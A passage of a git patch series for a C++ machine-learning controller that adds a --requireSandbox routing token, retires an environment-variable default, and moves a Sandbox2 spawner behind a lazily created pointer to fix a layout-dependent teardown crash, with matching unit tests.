nullptr && m_SandboxSpawner->hasChild(pid)) { return true; } #endif diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h index 3d3d5d7b51..a99184638c 100644 --- a/bin/controller/CProcessSpawnerRouter.h +++ b/bin/controller/CProcessSpawnerRouter.h @@ -16,6 +16,7 @@ #include +#include #include #include @@ -130,13 +131,41 @@ class CProcessSpawnerRouter { private: core::CDetachedProcessSpawner m_LegacySpawner; - //! Always present: CSandboxedProcessSpawner compiles - and is safely - //! constructible/queryable - on every platform (see - //! lib/sandbox/CSandboxedProcessSpawner_Linux.cc), so no #ifdef is - //! needed around this member's declaration. Its spawn()/terminateChild() - //! are only ever *called* from this router behind an explicit - //! SANDBOX2_AVAILABLE check - see the .cc. - sandbox::CSandboxedProcessSpawner m_SandboxSpawner; + //! Null until - and unless - a spawn() call actually dispatches to the + //! Sandbox2 route, at which point spawn() creates it in place (see the + //! .cc's SANDBOX2_AVAILABLE branch). A router that only ever takes the + //! legacy route - which is every router during the whole dormant-default + //! rollout window, and every router in a non-Sandbox2 build - therefore + //! never constructs *or* destructs any Sandbox2 machinery. + //! + //! Held behind a pointer rather than by value for two reasons: + //! + //! 1. Lifecycle: constructing Sandbox2 state (a PID registry with its + //! own mutex, and, in future tasks, forkserver/monitor resources) for + //! a router that will never launch a sandboxed process is pure + //! liability - it puts Sandbox2 objects into the construction and + //! teardown path of every controller and of every controller unit + //! test, including the ones that predate Sandbox2 entirely. + //! 2. ODR safety: sizeof(sandbox::CSandboxedProcessSpawner) *differs* + //! between translation units compiled with and without + //! SANDBOX2_AVAILABLE, because its m_AwaitResultFn seam only exists + //! under that macro (include/sandbox/CSandboxedProcessSpawner.h). A + //! by-value member propagated that difference into + //! sizeof(CProcessSpawnerRouter) and sizeof(CCommandProcessor), so + //! any binary that mixed the two views of this header - as + //! ml_test_controller did on Linux - had inline constructors and + //! destructors disagreeing about member offsets and corrupted memory + //! at teardown. std::unique_ptr is the same size either way, so this + //! class's layout no longer depends on the macro at all. (The + //! underlying macro mismatch is fixed in bin/controller/CMakeLists.txt + //! as well; this member simply stops the layout being sensitive to + //! it.) + //! + //! Not synchronised: like m_LegacySpawner's own contract, every router + //! entry point is called from the controller's single + //! command-processing thread (bin/controller/CCommandProcessor.cc), so + //! the lazy creation below needs no lock. + std::unique_ptr m_SandboxSpawner; TStrVec m_SandboxedProcessPaths; }; diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index 2b7930a499..e05903a855 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -569,4 +569,65 @@ BOOST_AUTO_TEST_CASE(testH4SignalNoLegacyReasonOnSandbox2Route) { // grows the same payload machinery, or as a lib/sandbox-level test that // exercises CProcessSpawnerRouter directly. +BOOST_AUTO_TEST_CASE(testRouterLayoutDoesNotDependOnSandbox2Support) { + // Regression guard for the deterministic Linux teardown crash this + // router's first CI run hit. sizeof(sandbox::CSandboxedProcessSpawner) + // differs between translation units compiled with and without + // SANDBOX2_AVAILABLE, because its m_AwaitResultFn seam only exists under + // that macro (include/sandbox/CSandboxedProcessSpawner.h). While this + // router held that class *by value*, the difference propagated into + // sizeof(CProcessSpawnerRouter) and sizeof(CCommandProcessor), so a + // binary that mixed both views of the header - as ml_test_controller did, + // its object files being compiled without the macro and its test + // translation units with it - had inline constructors and destructors + // disagreeing about member offsets, and corrupted memory when a router + // was destroyed. + // + // Holding the sandboxed spawner behind a pointer makes this class's + // layout the same size under either view; the assertion below is the + // property that guarantees that, and it fails to compile if the member + // ever goes back to being stored by value. + static_assert(sizeof(ml::controller::CProcessSpawnerRouter) < + sizeof(ml::core::CDetachedProcessSpawner) + + sizeof(ml::sandbox::CSandboxedProcessSpawner), + "CProcessSpawnerRouter must not store a " + "sandbox::CSandboxedProcessSpawner by value - its size " + "depends on SANDBOX2_AVAILABLE, which would make this " + "class's layout (and CCommandProcessor's) depend on it too"); + BOOST_TEST_REQUIRE(sizeof(ml::controller::CProcessSpawnerRouter) < + sizeof(ml::core::CDetachedProcessSpawner) + + sizeof(ml::sandbox::CSandboxedProcessSpawner)); +} + +BOOST_AUTO_TEST_CASE(testLegacyOnlyRouterNeedsNoSandboxedSpawner) { + // A router that only ever dispatches E_Legacy must complete its whole + // lifecycle - construction, dispatch, live-child queries, destruction - + // without any Sandbox2 machinery being created: the sandboxed spawner is + // only constructed inside spawn()'s Sandbox2 branch. Repeated here + // because the crash this guards against surfaced at *destruction* of a + // router that had only ever taken the legacy route, so a single + // construct-and-leak would not have caught it. + // + // Whether the lazy member was constructed is deliberately not exposed as + // public API: what is observable, and what actually matters, is that + // terminateChild()/hasChild() answer "no sandboxed child" for a PID this + // router never spawned instead of constructing a spawner just to ask, + // and that the legacy route keeps working across the whole lifecycle. + for (int attempt = 0; attempt < 2; ++attempt) { + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + BOOST_REQUIRE_EQUAL(false, router.hasChild(0)); + BOOST_REQUIRE_EQUAL(false, router.terminateChild(0)); + + assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + "router_test_legacy_only_lifecycle.txt"); + + // Still nothing sandboxed after a legacy dispatch. + BOOST_REQUIRE_EQUAL(false, router.hasChild(0)); + BOOST_REQUIRE_EQUAL(false, router.terminateChild(0)); + } +} + BOOST_AUTO_TEST_SUITE_END() From e222712723f0f5b4083afc807a13ae0c86af7eed Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Fri, 11 Sep 2026 12:00:04 +0200 Subject: [PATCH 28/36] [ML] Add symmetric --requireSandbox controller token, retire ML_SANDBOX2_DEFAULT_ENFORCED Elasticsearch can now request Sandbox2 explicitly on a start command instead of relying on an internal controller env var that core-server bootstrap had no path to set. --requireSandbox forces the Sandbox2 route (same duplicate/mutual-exclusion/sandboxed-path validation and strip-before-forward as --disableSandbox), and is rejected together with --disableSandbox on the same command. The no-token case now always takes the legacy route unconditionally - permanent behaviour for non-ES callers, not a rollout seam - since Elasticsearch is expected to always send one of the two tokens per launch. Renamed ELegacyReason::E_DormantDefault to E_NoTokenDefault and the H4 signal's legacy_reason value from "dormant_default" to "no_token_default" to match. Attack-defense harness now sends --requireSandbox explicitly for its sandboxed cases instead of setting the env var on the controller's own environment. Bumped controller-protocol-version to 2 for the wire-format addition. --- 3rd_party/controller-protocol.version | 2 +- bin/controller/CCommandProcessor.cc | 125 +++++++---- bin/controller/CCommandProcessor.h | 17 -- bin/controller/CProcessSpawnerRouter.cc | 34 +-- bin/controller/CProcessSpawnerRouter.h | 19 +- bin/controller/Main.cc | 10 +- .../unittest/CCommandProcessorTest.cc | 207 +++++++++++------- .../unittest/CProcessSpawnerRouterTest.cc | 19 +- bin/pytorch_inference/Main.cc | 36 ++- build.gradle | 8 +- docs/sandbox2_production_failure_modes.md | 92 ++++---- include/seccomp/CSystemCallFilter.h | 11 +- test/test_sandbox2_attack_defense.py | 28 +-- 13 files changed, 338 insertions(+), 270 deletions(-) diff --git a/3rd_party/controller-protocol.version b/3rd_party/controller-protocol.version index 805da4e541..643c8b5ed0 100644 --- a/3rd_party/controller-protocol.version +++ b/3rd_party/controller-protocol.version @@ -1 +1 @@ -controller-protocol-version=1 +controller-protocol-version=2 diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index 15af728840..036c0805b1 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -22,25 +22,19 @@ namespace { const std::string TAB(1, '\t'); const std::string EMPTY_STRING; -//! The only controller-control token the command wire format defines -//! today. Any other unrecognised "--" prefixed token is passed through to -//! the spawned -//! process unchanged - this task does not invent a general token schema. +//! Operator kill-switch: forces the legacy route for the configured +//! sandboxed process path. Mutually exclusive with REQUIRE_SANDBOX_TOKEN - +//! a start command naming both is ambiguous about its own route and is +//! rejected outright, never resolved by precedence. const std::string DISABLE_SANDBOX_TOKEN{"--disableSandbox"}; -//! Internal controller option gating the no-token default route. Not an -//! operator setting and not part of the command wire format: it exists so -//! the typed-routing machinery can ship dormant (legacy default) until -//! Elasticsearch owns the setting that turns mandatory Sandbox2 on. -const char* SANDBOX2_DEFAULT_ENFORCED_ENV{"ML_SANDBOX2_DEFAULT_ENFORCED"}; - -//! Exactly "1" and nothing else is truthy - one canonical spelling, the -//! same one the sandboxee's own ML_SANDBOXED=1 contract uses. Anything else -//! (unset, "", "0", "true", "TRUE", "yes") leaves the option off. -bool sandbox2DefaultEnforced() { - const char* value{::getenv(SANDBOX2_DEFAULT_ENFORCED_ENV)}; - return value != nullptr && std::string{value} == "1"; -} +//! Operator opt-in: forces the Sandbox2 route (E_Sandbox2, no automatic +//! legacy fallback) for the configured sandboxed process path. Symmetric +//! counterpart to DISABLE_SANDBOX_TOKEN - together these are the only two +//! controller-control tokens the command wire format defines; any other +//! unrecognised "--" prefixed token is passed through to the spawned +//! process unchanged. +const std::string REQUIRE_SANDBOX_TOKEN{"--requireSandbox"}; } namespace ml { @@ -53,12 +47,7 @@ const std::string CCommandProcessor::KILL{"kill"}; CCommandProcessor::CCommandProcessor(const TStrVec& permittedProcessPaths, const TStrVec& sandboxedProcessPaths, std::ostream& responseStream) - : m_Spawner{permittedProcessPaths, sandboxedProcessPaths}, - m_Sandbox2DefaultEnabled{sandbox2DefaultEnforced()}, m_ResponseWriter{responseStream} { - if (m_Sandbox2DefaultEnabled) { - LOG_INFO(<< SANDBOX2_DEFAULT_ENFORCED_ENV << "=1: a start command with no " << DISABLE_SANDBOX_TOKEN - << " token requires Sandbox2 for configured sandboxed process paths"); - } + : m_Spawner{permittedProcessPaths, sandboxedProcessPaths}, m_ResponseWriter{responseStream} { } void CCommandProcessor::processCommands(std::istream& commandStream) { @@ -119,17 +108,24 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { std::string processPath{std::move(tokens[0])}; tokens.erase(tokens.begin()); - // Scan for the operator kill-switch token before any spawn decision is - // made. Never "last one wins"/"first one wins" on duplicates - count - // them all and reject outright if there's more than one. + // Scan for both routing tokens before any spawn decision is made. + // Never "last one wins"/"first one wins" on duplicates of either token - + // count them all and reject outright if either appears more than once. std::size_t disableSandboxCount{0}; TStrVec::iterator firstDisableSandbox{tokens.end()}; + std::size_t requireSandboxCount{0}; + TStrVec::iterator firstRequireSandbox{tokens.end()}; for (auto iter = tokens.begin(); iter != tokens.end(); ++iter) { if (*iter == DISABLE_SANDBOX_TOKEN) { if (disableSandboxCount == 0) { firstDisableSandbox = iter; } ++disableSandboxCount; + } else if (*iter == REQUIRE_SANDBOX_TOKEN) { + if (requireSandboxCount == 0) { + firstRequireSandbox = iter; + } + ++requireSandboxCount; } } @@ -142,6 +138,25 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { return false; } + if (requireSandboxCount >= 2) { + std::string error{"Rejecting command: '" + REQUIRE_SANDBOX_TOKEN + "' specified " + + core::CStringUtils::typeToString(requireSandboxCount) + + " times for process '" + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + if (disableSandboxCount == 1 && requireSandboxCount == 1) { + std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + "' and '" + + REQUIRE_SANDBOX_TOKEN + + "' are mutually exclusive, both specified for process '" + + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + // One shared predicate with the router (which uses the same call to gate // dispatch and sandbox2_launch-signal emission), never a second std::find over a // second copy of the list. @@ -153,26 +168,25 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { // E_NotLegacy for every E_Sandbox2 route, where the field is omitted. CProcessSpawnerRouter::ELegacyReason legacyReason{ CProcessSpawnerRouter::ELegacyReason::E_NotLegacy}; - if (disableSandboxCount == 0) { - // No token: the route is only a decision at all for a configured - // sandboxed process path (every other permitted process dispatches - // to the legacy spawner either way, and must not be described as an - // explicitly-selected legacy route in the log). - // - // Ships dormant: with the internal option off (the default), the - // no-token case stays on the legacy route - byte-for-byte the - // pre-typed-routing behaviour on every platform, including builds - // with no Sandbox2 support at all. With the option on it becomes - // mandatory Sandbox2 (E_Sandbox2, no automatic fallback). The - // follow-up that flips the option is the Elasticsearch-side - // operator-setting change, not this one. - if (isConfiguredSandboxedPath && m_Sandbox2DefaultEnabled == false) { - route = CProcessSpawnerRouter::ERoute::E_Legacy; - legacyReason = CProcessSpawnerRouter::ELegacyReason::E_DormantDefault; - LOG_DEBUG(<< "Routing '" << processPath << "' to the legacy path: no " - << DISABLE_SANDBOX_TOKEN << " token and " - << SANDBOX2_DEFAULT_ENFORCED_ENV << " is not set to 1"); + if (requireSandboxCount == 1) { + if (isConfiguredSandboxedPath == false) { + std::string error{"Rejecting command: '" + REQUIRE_SANDBOX_TOKEN + + "' is only valid for the configured sandboxed process, " + "not '" + + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; } + + // Operator opt-in validated against this exact processPath: strip + // it before it reaches the spawner. Route is already E_Sandbox2 + // (the default above), so nothing else changes here beyond + // stripping and logging the decision at the one place its + // provenance is known. + LOG_INFO(<< "Routing '" << processPath << "' to Sandbox2: operator opt-in " + << REQUIRE_SANDBOX_TOKEN << " in command with ID " << id); + tokens.erase(firstRequireSandbox); } else if (disableSandboxCount == 1) { if (isConfiguredSandboxedPath == false) { std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + @@ -194,6 +208,27 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { route = CProcessSpawnerRouter::ERoute::E_Legacy; legacyReason = CProcessSpawnerRouter::ELegacyReason::E_KillSwitch; tokens.erase(firstDisableSandbox); + } else { + // No token at all: the route is only a decision at all for a + // configured sandboxed process path (every other permitted process + // dispatches to the legacy spawner either way, and must not be + // described as an explicitly-selected legacy route in the log). + // + // Permanent behaviour, not a rollout seam: a caller that sends + // neither token always takes the legacy route - byte-for-byte the + // pre-typed-routing behaviour on every platform, including builds + // with no Sandbox2 support at all. Elasticsearch is expected to + // always send exactly one of the two tokens on every start command + // for a sandboxed-eligible process, so this branch exists for + // non-ES callers (support/debug scripts, direct controller + // invocation) and the test harness. + if (isConfiguredSandboxedPath) { + route = CProcessSpawnerRouter::ERoute::E_Legacy; + legacyReason = CProcessSpawnerRouter::ELegacyReason::E_NoTokenDefault; + LOG_DEBUG(<< "Routing '" << processPath << "' to the legacy path: neither " + << DISABLE_SANDBOX_TOKEN << " nor " << REQUIRE_SANDBOX_TOKEN + << " token was present"); + } } core::CProcess::TPid childPid{0}; diff --git a/bin/controller/CCommandProcessor.h b/bin/controller/CCommandProcessor.h index b4d8fa5fcf..9acc1387b5 100644 --- a/bin/controller/CCommandProcessor.h +++ b/bin/controller/CCommandProcessor.h @@ -100,23 +100,6 @@ class CCommandProcessor { //! std::find over it. CProcessSpawnerRouter m_Spawner; - //! Internal controller option, read once at construction from the - //! \c ML_SANDBOX2_DEFAULT_ENFORCED environment variable and \b off - //! unless that variable is exactly "1" (the single canonical truthy - //! spelling; any other value, including "true", "yes" or "0", leaves it - //! off, matching the ML_SANDBOXED=1 convention - //! CSandboxedProcessSpawner_Linux.cc already uses for the child). - //! - //! Off (the shipped default) means a \c start command with no - //! \c --disableSandbox token takes the legacy route for a configured - //! sandboxed process path - i.e. exactly the pre-typed-routing - //! behaviour. This is deliberate: making the no-token default - //! Sandbox2-mandatory would turn every Linux pytorch_inference launch - //! into a mandatory-Sandbox2 launch before Elasticsearch has the - //! operator setting that controls it, so the typed-routing machinery - //! ships dormant and a later change flips this seam on. - bool m_Sandbox2DefaultEnabled; - //! Used to write responses in JSON format to the response stream. CResponseJsonWriter m_ResponseWriter; }; diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index 3eb4c04228..af380dd927 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -146,20 +146,20 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, // Additive field, emitted *only* on the legacy route (route == // "legacy", i.e. mode == "degraded"): mode alone conflates a deliberate - // operator kill switch with the dormant default that is in effect for - // the entire rollout window. Omitted entirely - never "" and never null - // - on route == "sandbox2", i.e. on both the "enforced" and - // "fail_closed" modes, since neither can have a legacy reason. + // operator kill switch with the permanent no-token default. Omitted + // entirely - never "" and never null - on route == "sandbox2", i.e. on + // both the "enforced" and "fail_closed" modes, since neither can have a + // legacy reason. std::string legacyReasonField; if (isLegacyRoute) { - const char* reason{legacyReason == ELegacyReason::E_KillSwitch ? "kill_switch" : "dormant_default"}; + const char* reason{legacyReason == ELegacyReason::E_KillSwitch ? "kill_switch" : "no_token_default"}; if (legacyReason == ELegacyReason::E_NotLegacy) { // A caller that routed to legacy without naming why: report the - // dormant default (the overwhelmingly common case during the - // rollout window) rather than falsely claiming an operator - // kill switch. + // no-token default (the overwhelmingly common case for callers + // that never send either routing token) rather than falsely + // claiming an operator kill switch. LOG_WARN(<< "Legacy route with no recorded provenance; reporting the " - "dormant default in the sandbox2_launch signal"); + "no-token default in the sandbox2_launch signal"); } legacyReasonField = std::string{",\"legacy_reason\":\""} + reason + "\""; } @@ -169,11 +169,11 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, // backed by the SANDBOX2_AVAILABLE compile definition), not per-launch // state, so it is computed once here rather than threaded through as a // parameter. Lets a consumer (e.g. a future ES-side rollout logic) - // distinguish a Linux build that has Sandbox2 support but is dormant - // (route == "legacy", legacy_reason == "dormant_default", - // sandbox2_compiled_in == true) from a build with no Sandbox2 support at - // all (sandbox2_compiled_in == false) - the two are otherwise - // indistinguishable from the sandbox2_launch signal alone. + // distinguish a Linux build that has Sandbox2 support but a caller sent + // no routing token (route == "legacy", legacy_reason == + // "no_token_default", sandbox2_compiled_in == true) from a build with + // no Sandbox2 support at all (sandbox2_compiled_in == false) - the two + // are otherwise indistinguishable from the sandbox2_launch signal alone. static const bool sandbox2CompiledIn{sandbox::CMlSandboxAvailability::isCompiledIn()}; std::ostringstream signal; @@ -214,7 +214,7 @@ bool CProcessSpawnerRouter::spawn(ERoute route, if (route == ERoute::E_Legacy) { // Legacy route decided upstream: either the operator kill-switch // token (validated against this exact processPath and stripped from - // args by CCommandProcessor) or the dormant no-token default. This + // args by CCommandProcessor) or the permanent no-token default. This // router never re-parses args to decide anything (unlike the frozen // prior art's spawn(), which re-derived disableSandbox from args // itself), so it cannot - and must not - derive which of the two it @@ -230,8 +230,8 @@ bool CProcessSpawnerRouter::spawn(ERoute route, #ifdef SANDBOX2_AVAILABLE // First - and only - point at which any Sandbox2 machinery is // constructed. A router that never reaches this branch (every - // router while the Sandbox2 default is dormant, and every router in - // a build without Sandbox2 support) never creates a + // router that never dispatches a validated --requireSandbox token, + // and every router in a build without Sandbox2 support) never creates a // CSandboxedProcessSpawner at all, so no Sandbox2 state enters its // construction or teardown path. Single-threaded by the same // contract as the legacy spawner - see the member's declaration. diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h index a99184638c..ba2ab5862d 100644 --- a/bin/controller/CProcessSpawnerRouter.h +++ b/bin/controller/CProcessSpawnerRouter.h @@ -66,15 +66,17 @@ class CProcessSpawnerRouter { //! already knows from making the decision, purely so the //! `sandbox2_launch` signal's additive "legacy_reason" field can //! distinguish a deliberate operator - //! kill switch from the dormant default that is in effect for the whole - //! rollout window - mode == "degraded" alone cannot. + //! kill switch from the permanent no-token default - mode == "degraded" + //! alone cannot. enum class ELegacyReason { //! The route is E_Sandbox2; no legacy_reason is emitted at all. E_NotLegacy, //! A validated --disableSandbox token was present. E_KillSwitch, - //! No token, and ML_SANDBOX2_DEFAULT_ENFORCED is not enabled. - E_DormantDefault + //! Neither --disableSandbox nor --requireSandbox was present. The + //! permanent behaviour for any caller that sends no routing token, + //! not a temporary rollout state. + E_NoTokenDefault }; public: @@ -104,7 +106,7 @@ class CProcessSpawnerRouter { //! uses it for dispatch and `sandbox2_launch`-signal gating, and CCommandProcessor //! calls it (through its own router member) to decide whether the //! operator kill-switch token is meaningful for a process path and - //! whether the dormant-by-default Sandbox2 route applies. Keeping two + //! whether the --requireSandbox opt-in token applies. Keeping two //! independent std::find copies would let a future change to one (e.g. //! path normalisation) silently desync token validation from signal //! emission. @@ -134,9 +136,10 @@ class CProcessSpawnerRouter { //! Null until - and unless - a spawn() call actually dispatches to the //! Sandbox2 route, at which point spawn() creates it in place (see the //! .cc's SANDBOX2_AVAILABLE branch). A router that only ever takes the - //! legacy route - which is every router during the whole dormant-default - //! rollout window, and every router in a non-Sandbox2 build - therefore - //! never constructs *or* destructs any Sandbox2 machinery. + //! legacy route - every router whose caller never sends a validated + //! --requireSandbox token, and every router in a non-Sandbox2 + //! build - therefore never constructs *or* destructs any Sandbox2 + //! machinery. //! //! Held behind a pointer rather than by value for two reasons: //! diff --git a/bin/controller/Main.cc b/bin/controller/Main.cc index f0e3b39141..e6fbc5b07b 100644 --- a/bin/controller/Main.cc +++ b/bin/controller/Main.cc @@ -207,11 +207,11 @@ int main(int argc, char** argv) { "./autodetect", "./categorize", "./data_frame_analyzer", "./normalize", "./pytorch_inference"}; // Unconditional on every platform, deliberately: this list only - // nominates which process path the --disableSandbox controller token is - // meaningful for, it does not by itself require Sandbox2 for that path. - // A plain (no-token) launch of ./pytorch_inference takes the legacy - // route unless the internal ML_SANDBOX2_DEFAULT_ENFORCED option is on - // (see CCommandProcessor), so listing it here fails nothing on macOS, + // nominates which process path the --disableSandbox/--requireSandbox + // controller tokens are meaningful for, it does not by itself require + // Sandbox2 for that path. A plain (no-token) launch of + // ./pytorch_inference always takes the legacy route (see + // CCommandProcessor), so listing it here fails nothing on macOS, // Windows, or a Linux build without Sandbox2 support. ml::controller::CCommandProcessor::TStrVec sandboxedProcessPaths{"./pytorch_inference"}; diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 334150e756..79361cccca 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -11,9 +11,7 @@ #include #include -#include #include -#include #include "../CCommandProcessor.h" @@ -53,23 +51,6 @@ const std::string PROCESS_ARGS2[]{"-c", "rm " + INPUT_FILE2}; const std::string SLOGAN1{"Elastic is great!"}; const std::string SLOGAN2{"You know, for search!"}; -//! Sets ML_SANDBOX2_DEFAULT_ENFORCED for the duration of a scope and -//! restores the (unset) state afterwards. CCommandProcessor reads the -//! variable once in its constructor, so it must be set before the processor -//! under test is constructed. -class CScopedSandbox2DefaultEnforced { -public: - explicit CScopedSandbox2DefaultEnforced(const char* value) { - BOOST_REQUIRE_EQUAL( - 0, ml::core::CSetEnv::setEnv("ML_SANDBOX2_DEFAULT_ENFORCED", value, 1)); - } - ~CScopedSandbox2DefaultEnforced() { - ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); - } - CScopedSandbox2DefaultEnforced(const CScopedSandbox2DefaultEnforced&) = delete; - CScopedSandbox2DefaultEnforced& operator=(const CScopedSandbox2DefaultEnforced&) = delete; -}; - //! Redirect the logger to a string stream for the duration of \p fn, so a //! test can assert on the router's sandbox2_launch signal (the same //! capture style bin/controller/unittest/CProcessSpawnerRouterTest.cc uses). @@ -470,19 +451,17 @@ BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { #endif // !Windows BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath) { - // SHIPS DORMANT: with ML_SANDBOX2_DEFAULT_ENFORCED unset (the shipped - // default), a no-token start command for the configured sandboxed path - // must take the *legacy* route - i.e. behave exactly as it did before - // typed routing existed. Observed here as the copy succeeding: had the - // route been E_Sandbox2, this build (no Sandbox2 support / no real - // Sandbox2 policy for /bin/sh) would have failed closed instead. + // Permanent behaviour, not a rollout seam: a start command with neither + // routing token for the configured sandboxed path must take the + // *legacy* route - i.e. behave exactly as it did before typed routing + // existed. Observed here as the copy succeeding: had the route been + // E_Sandbox2, this build (no Sandbox2 support / no real Sandbox2 policy + // for /bin/sh) would have failed closed instead. // - // Deliberately not gated on !SANDBOX2_AVAILABLE: the dormant default is + // Deliberately not gated on !SANDBOX2_AVAILABLE: the no-token default is // platform-independent, and on a Sandbox2 build this still proves the // legacy dispatch (a Sandbox2 launch of /bin/sh with these args would // not produce the file). - ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); - const std::string TARGET_FILE{"sandbox2_default_dormant_out.txt"}; std::remove(TARGET_FILE.c_str()); @@ -514,15 +493,13 @@ BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPat BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { // The two legacy-route provenances must arrive at the sandbox2_launch - // signal distinguishable: mode == "degraded" alone cannot separate a deliberate - // operator kill switch from the dormant default that is in effect for - // the whole rollout window. This asserts the wiring from the route - // decision in handleStart() through to the emitted signal. - ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); - + // signal distinguishable: mode == "degraded" alone cannot separate a + // deliberate operator kill switch from the permanent no-token default. + // This asserts the wiring from the route decision in handleStart() + // through to the emitted signal. const std::string TARGET_FILE{"sandbox2_legacy_reason_out.txt"}; - // (a) No token, option off -> dormant_default. + // (a) No token -> no_token_default. std::remove(TARGET_FILE.c_str()); std::ostringstream dormantResponses; std::string dormantLogged{captureLogged([&] { @@ -537,15 +514,12 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { std::remove(TARGET_FILE.c_str()); BOOST_REQUIRE(dormantLogged.find("\"route\":\"legacy\"") != std::string::npos); - BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"dormant_default\"") != + BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"no_token_default\"") != std::string::npos); BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"kill_switch\"") == std::string::npos); - // (b) Validated --disableSandbox token -> kill_switch, whatever the - // option's state (here explicitly on, so the token is the only reason - // the legacy route could have been selected). - CScopedSandbox2DefaultEnforced enforced{"1"}; + // (b) Validated --disableSandbox token -> kill_switch. std::remove(TARGET_FILE.c_str()); std::ostringstream killSwitchResponses; std::string killSwitchLogged{captureLogged([&] { @@ -563,34 +537,48 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { BOOST_REQUIRE(killSwitchLogged.find("\"route\":\"legacy\"") != std::string::npos); BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"kill_switch\"") != std::string::npos); - BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"dormant_default\"") == + BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"no_token_default\"") == std::string::npos); + + // (c) Validated --requireSandbox token -> route "sandbox2", no + // legacy_reason field at all (it is only emitted for route == "legacy"). + // The underlying spawn itself is expected to fail on a build with no + // Sandbox2 support / no real Sandbox2 policy for /bin/sh - the signal is + // emitted regardless of spawn outcome, so this assertion holds on every + // platform this test runs on. + std::remove(TARGET_FILE.c_str()); + std::ostringstream requireSandboxResponses; + std::string requireSandboxLogged{captureLogged([&] { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + requireSandboxResponses}; + processor.handleCommand(startCommand( + 22, PROCESS_PATH, copyArgs(TARGET_FILE, {"--requireSandbox"}))); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(TARGET_FILE.c_str()); + + BOOST_REQUIRE(requireSandboxLogged.find("\"route\":\"sandbox2\"") != std::string::npos); + BOOST_REQUIRE(requireSandboxLogged.find("\"legacy_reason\"") == std::string::npos); } -#ifndef SANDBOX2_AVAILABLE -BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnforced) { - // The opt-in half of the dormant default: with the internal option - // explicitly on, no token present on the configured sandboxed path - // selects the Sandbox2 route (no automatic legacy fallback). On a - // build with no Sandbox2 support, CProcessSpawnerRouter fails closed for - // that route - observed here as the command failing rather than the copy - // succeeding, which is exactly how we know Sandbox2 (not legacy) was - // selected: had the route been E_Legacy, this copy would have succeeded - // (see testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath, - // which is the same vector with the option off). - const std::string TARGET_FILE{"sandbox2_route_selected_out.txt"}; +BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateRequireSandboxTokenOnSandboxedPath) { + // Symmetric with testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath: + // two occurrences of --requireSandbox must be rejected outright. + const std::string TARGET_FILE{"duplicate_reject_require_sandbox_out.txt"}; std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { - CScopedSandbox2DefaultEnforced enforced{"1"}; - ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec 